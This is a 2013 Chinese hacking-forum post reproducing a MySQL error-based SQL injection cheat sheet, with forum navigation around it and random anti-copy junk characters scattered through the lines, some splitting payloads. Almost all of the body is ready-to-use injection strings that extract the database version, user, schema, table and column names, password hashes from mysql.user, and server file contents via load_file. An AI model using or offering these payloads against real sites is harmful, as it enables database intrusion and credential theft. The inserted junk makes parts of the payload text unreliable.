找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2385|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
1 `* B# V" v9 c$ p  ]" J  H# m
( D! F4 G8 R) _. h% o& X6 K
- \$ F/ b* D  y( Q5 F1 _Mysql暴错注入参考(pdf),每天一贴。。。
, ^, [' f  f- u! t% \
1 c- P  E4 e$ ^! T, Q1 t2 HMySql Error Based Injection Reference" U' |6 K9 u' n. q
[Mysql暴错注入参考]' S) s9 Z! @# E
Authornig0s1992
7 I, \' f' |0 Z% v" y. [) `4 gBlog:http://pnig0s1992.blog.51cto.com/
% J' i9 e% a, bTeAm:http://www.FreeBuf.com/
$ i$ L3 q& C2 }8 ~( N0 p& o, w$ XMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
5 T9 G3 j5 ?7 [0 E# I! w小部分版本使用name_const()时会报错.可以用给出的Method.2测试# B/ }' F: J) V6 M- _" f" \8 y
查询版本:5 B6 Q" S# `% `$ ]: p
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
, R  [+ y+ k$ _7 k# P* O5 Rjoin+(select+name_const(@@version,0))b)c)0 N! i' C, s9 q
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro3 G4 B" Q& y6 ^! O0 b' b
up by a)b)
' k0 g1 ~' t, q, Y3 x9 a查询当前用户:
) j9 n, h! d# E0 \* j, U8 r* pMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
; g' @5 D5 j7 \2 T/ A6 q9 m9 n( |Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r2 J6 K* h' i4 }" |8 n
and(0)*2))x+from+information_schema.tables+group+by+x)a)
# v) C- V  l" ~7 }( i查询当前数据库:
8 @3 Z, C5 s1 h( L  A  z) BMethod.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
& q8 ^3 b1 Z& ^- DMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo, x) ~2 W* v" T! a0 E. X
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
# x9 y: e2 X4 l' d% t1 u依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+* M4 d  f7 o6 e
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n6 h) n" G- n. m0 G
顺序替换
) ]) V* @. P. J  t  Y" Q0 l爆指定库数目:6 E  \: P! o0 c  u
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t2 b! ^: C& p5 M- t) R. R
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group/ [+ ]( D$ [4 M! `
+by+x)a)+and+1=1 0x6D7973716C=mysql
* t# t7 v+ Z4 W& g- [依次爆表:
  S3 a' \$ F( T8 m( Iand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
- n; [9 a7 j. p! A$ Sable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta# P% I1 y. T4 x' }) W* b* w9 [
bles+group+by+x)a)+and+1=1# n1 \2 T' v* z/ |; |6 d: C
0x6D7973716C=Mysql 将n顺序替换9 [& W6 n' ~: ]+ I' x' }
爆表内字段数目:
4 |) E* @% t3 Hand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
/ k- _! N! F& l( M+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
$ k3 E' Q" z7 U0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
" m+ A8 E5 m) L0 u7 q! k/ f依次爆字段:
/ j; U5 w) B/ J6 R  T9 B* qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where2 W) c& z4 F7 e) |4 ], Y3 [9 M! z
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1) |7 `0 ~. _* ]
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换9 [* T/ n0 n# h/ _" b6 [
依次暴内容:/ {2 [$ @& A* x0 B3 V! i
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
' Q$ o5 S7 I+ O! [  }* I- M. lma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
) c. a9 h& _# K# `! o* t; M+ w3 A将n顺序替换
* e, t3 W  ?2 H( }$ B. D' y& ?爆文件内容:
5 g7 [5 R2 B1 Hand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
0 [' Z* W% m" q$ H6 W! n7 L9 @1 {; \from+information_schema.tables+group+by+a)b)
5 \2 m* j. Z, E' ], o, }, I1 B0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节$ |' W7 }/ o( o5 |0 G& T
Thx for reading.' q; B8 ^3 d" Z! S1 H+ V. O2 L
. P* E9 {# v- `7 J  J9 J2 F
不要下载也可以, 8 b" ]" P2 ~3 F+ M

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表